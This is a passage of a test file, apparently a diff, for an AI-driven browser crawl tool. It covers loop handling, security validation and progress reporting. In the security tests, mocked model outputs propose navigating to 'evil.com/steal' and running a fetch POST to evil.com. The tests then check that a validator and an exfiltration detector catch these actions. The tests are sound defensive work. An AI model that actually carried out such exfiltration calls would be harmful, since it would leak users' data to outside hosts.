const crawlResult = await crawlTool.handler({
|
|
381
|
-
analysisId: analysis.analysisId,
|
|
382
|
-
goal: "Explore",
|
|
383
|
-
limits: { maxSteps: 10 },
|
|
384
|
-
});
|
|
385
|
-
|
|
386
|
-
// Crawl should complete without error
|
|
387
|
-
// The loop detection should log warnings but continue
|
|
388
|
-
expect(crawlResult.isError).toBeFalsy();
|
|
389
|
-
});
|
|
390
|
-
});
|
|
391
|
-
|
|
392
|
-
describe("Security Validation in Crawl", () => {
|
|
393
|
-
it("blocks navigation to disallowed domains", async () => {
|
|
394
|
-
const startTool = createStartAnalysisTool(() => context as any);
|
|
395
|
-
const crawlTool = createCrawlTool(() => context as any);
|
|
396
|
-
|
|
397
|
-
// Set up security validator to reject external domains
|
|
398
|
-
context.securityValidator.validateAction = vi.fn().mockImplementation((action) => {
|
|
399
|
-
if (action.tool === "navigate" && action.args.url?.includes("evil.com")) {
|
|
400
|
-
return { valid: false, reason: "External domain not allowed" };
|
|
401
|
-
}
|
|
402
|
-
return { valid: true };
|
|
403
|
-
});
|
|
404
|
-
|
|
405
|
-
// Sampling returns navigation to disallowed domain
|
|
406
|
-
context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
|
|
407
|
-
success: true,
|
|
408
|
-
data: {
|
|
409
|
-
actions: [{ tool: "navigate", args: { url: "https://evil.com/steal" } }],
|
|
410
|
-
reasoning: "Found external link",
|
|
411
|
-
goalProgress: "Exploring",
|
|
412
|
-
goalComplete: false,
|
|
413
|
-
},
|
|
414
|
-
}).mockResolvedValueOnce({
|
|
415
|
-
success: true,
|
|
416
|
-
data: {
|
|
417
|
-
actions: [],
|
|
418
|
-
reasoning: "Done",
|
|
419
|
-
goalProgress: "Complete",
|
|
420
|
-
goalComplete: true,
|
|
421
|
-
},
|
|
422
|
-
});
|
|
423
|
-
|
|
424
|
-
const startResult = await startTool.handler({
|
|
425
|
-
url: "https://shop.example.com",
|
|
426
|
-
});
|
|
427
|
-
const analysis = JSON.parse(startResult.content[0].text!);
|
|
428
|
-
|
|
429
|
-
await context.playwrightClient.connect();
|
|
430
|
-
|
|
431
|
-
const crawlResult = await crawlTool.handler({
|
|
432
|
-
analysisId: analysis.analysisId,
|
|
433
|
-
goal: "Explore",
|
|
434
|
-
});
|
|
435
|
-
|
|
436
|
-
// Crawl should complete but the external navigation should have been blocked
|
|
437
|
-
expect(context.securityValidator.validateAction).toHaveBeenCalled();
|
|
438
|
-
});
|
|
439
|
-
|
|
440
|
-
it("blocks data exfiltration attempts", async () => {
|
|
441
|
-
const startTool = createStartAnalysisTool(() => context as any);
|
|
442
|
-
const crawlTool = createCrawlTool(() => context as any);
|
|
443
|
-
|
|
444
|
-
// Set up exfiltration detection
|
|
445
|
-
context.securityValidator.detectExfiltrationAttempt = vi.fn().mockReturnValue({
|
|
446
|
-
detected: true,
|
|
447
|
-
type: "external_post",
|
|
448
|
-
evidence: "POST to external server",
|
|
449
|
-
});
|
|
450
|
-
|
|
451
|
-
// Sampling returns evaluate with POST
|
|
452
|
-
context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
|
|
453
|
-
success: true,
|
|
454
|
-
data: {
|
|
455
|
-
actions: [{
|
|
456
|
-
tool: "evaluate",
|
|
457
|
-
args: { script: "fetch('https://evil.com', {method:'POST'})" },
|
|
458
|
-
}],
|
|
459
|
-
reasoning: "Running script",
|
|
460
|
-
goalProgress: "Testing",
|
|
461
|
-
goalComplete: false,
|
|
462
|
-
},
|
|
463
|
-
}).mockResolvedValueOnce({
|
|
464
|
-
success: true,
|
|
465
|
-
data: {
|
|
466
|
-
actions: [],
|
|
467
|
-
reasoning: "Done",
|
|
468
|
-
goalProgress: "Complete",
|
|
469
|
-
goalComplete: true,
|
|
470
|
-
},
|
|
471
|
-
});
|
|
472
|
-
|
|
473
|
-
const startResult = await startTool.handler({
|
|
474
|
-
url: "https://shop.example.com",
|
|
475
|
-
});
|
|
476
|
-
const analysis = JSON.parse(startResult.content[0].text!);
|
|
477
|
-
|
|
478
|
-
await context.playwrightClient.connect();
|
|
479
|
-
|
|
480
|
-
const crawlResult = await crawlTool.handler({
|
|
481
|
-
analysisId: analysis.analysisId,
|
|
482
|
-
goal: "Explore",
|
|
483
|
-
});
|
|
484
|
-
|
|
485
|
-
// Exfiltration should have been detected
|
|
486
|
-
expect(context.securityValidator.detectExfiltrationAttempt).toHaveBeenCalled();
|
|
487
|
-
});
|
|
488
|
-
});
|
|
489
|
-
|
|
490
|
-
describe("Progress Reporting", () => {
|
|
491
|
-
it("emits progress during crawl", async () => {
|
|
492
|
-
const startTool = createStartAnalysisTool(() => context as any);
|
|
493
|
-
const crawlTool = createCrawlTool(() => context as any);
|
|
494
|
-
|
|
495
|
-
let stepCount = 0;
|
|
496
|
-
context.samplingClient.createMessage = vi.fn().mockImplementation(async () => {
|
|
497
|
-
stepCount++;
|
|
498
|
-
if (stepCount >= 3) {
|
|
499
|
-
return {
|
|
500
|
-
success: true,
|
|
501
|
-
data: {
|
|
502
|
-
actions: [],
|
|
503
|
-
reasoning: "Done",
|
|
504
|
-
goalProgress: "Complete",
|
|
505
|
-
goalComplete: true,
|
|
506
|
-
},
|
|
507
|
-
};
|
|
508
|
-
}
|
|
509
|
-
return {
|
|
510
|
-
success: true,
|
|
511
|
-
data: {
|
|
512
|
-
actions: [{ tool: "click", args: { selector: "a" } }],
|
|
513
|
-
reasoning: "Exploring",
|
|
514
|
-
goalProgress: `Step ${stepCount}`,
|
|
515
|
-
goalComplete: false,
|
|
516
|
-
},
|
|
517
|
-
};
|
|
518
|
-
});
|
|
519
|
-
|
|
520
|
-
const startResult = await startTool.handler({
|
|
521
|
-
url: "https://shop.example.com",
|
|
522
|
-
});
|
|
523
|
-
const analysis = JSON.parse(startResult.content[0].text!);
|
|
524
|
-
|
|
525
|
-
await context.playwrightClient.connect();
|
|
526
|
-
|
|
527
|
-
await crawlTool.handler({
|
|
528
|
-
analysisId: analysis.analysisId,
|
|
529
|
-
goal: "Explore",
|
|
530
|
-
});
|
|
531
|
-
|
|
532
|
-
// Progress should have been emitted
|
|
533
|
-
expect(context.progressEmitter.emit).toHaveBeenCalled();
|
|
534
|
-
});
|
|
535
|
-
});
|
|
536
|
-
});
|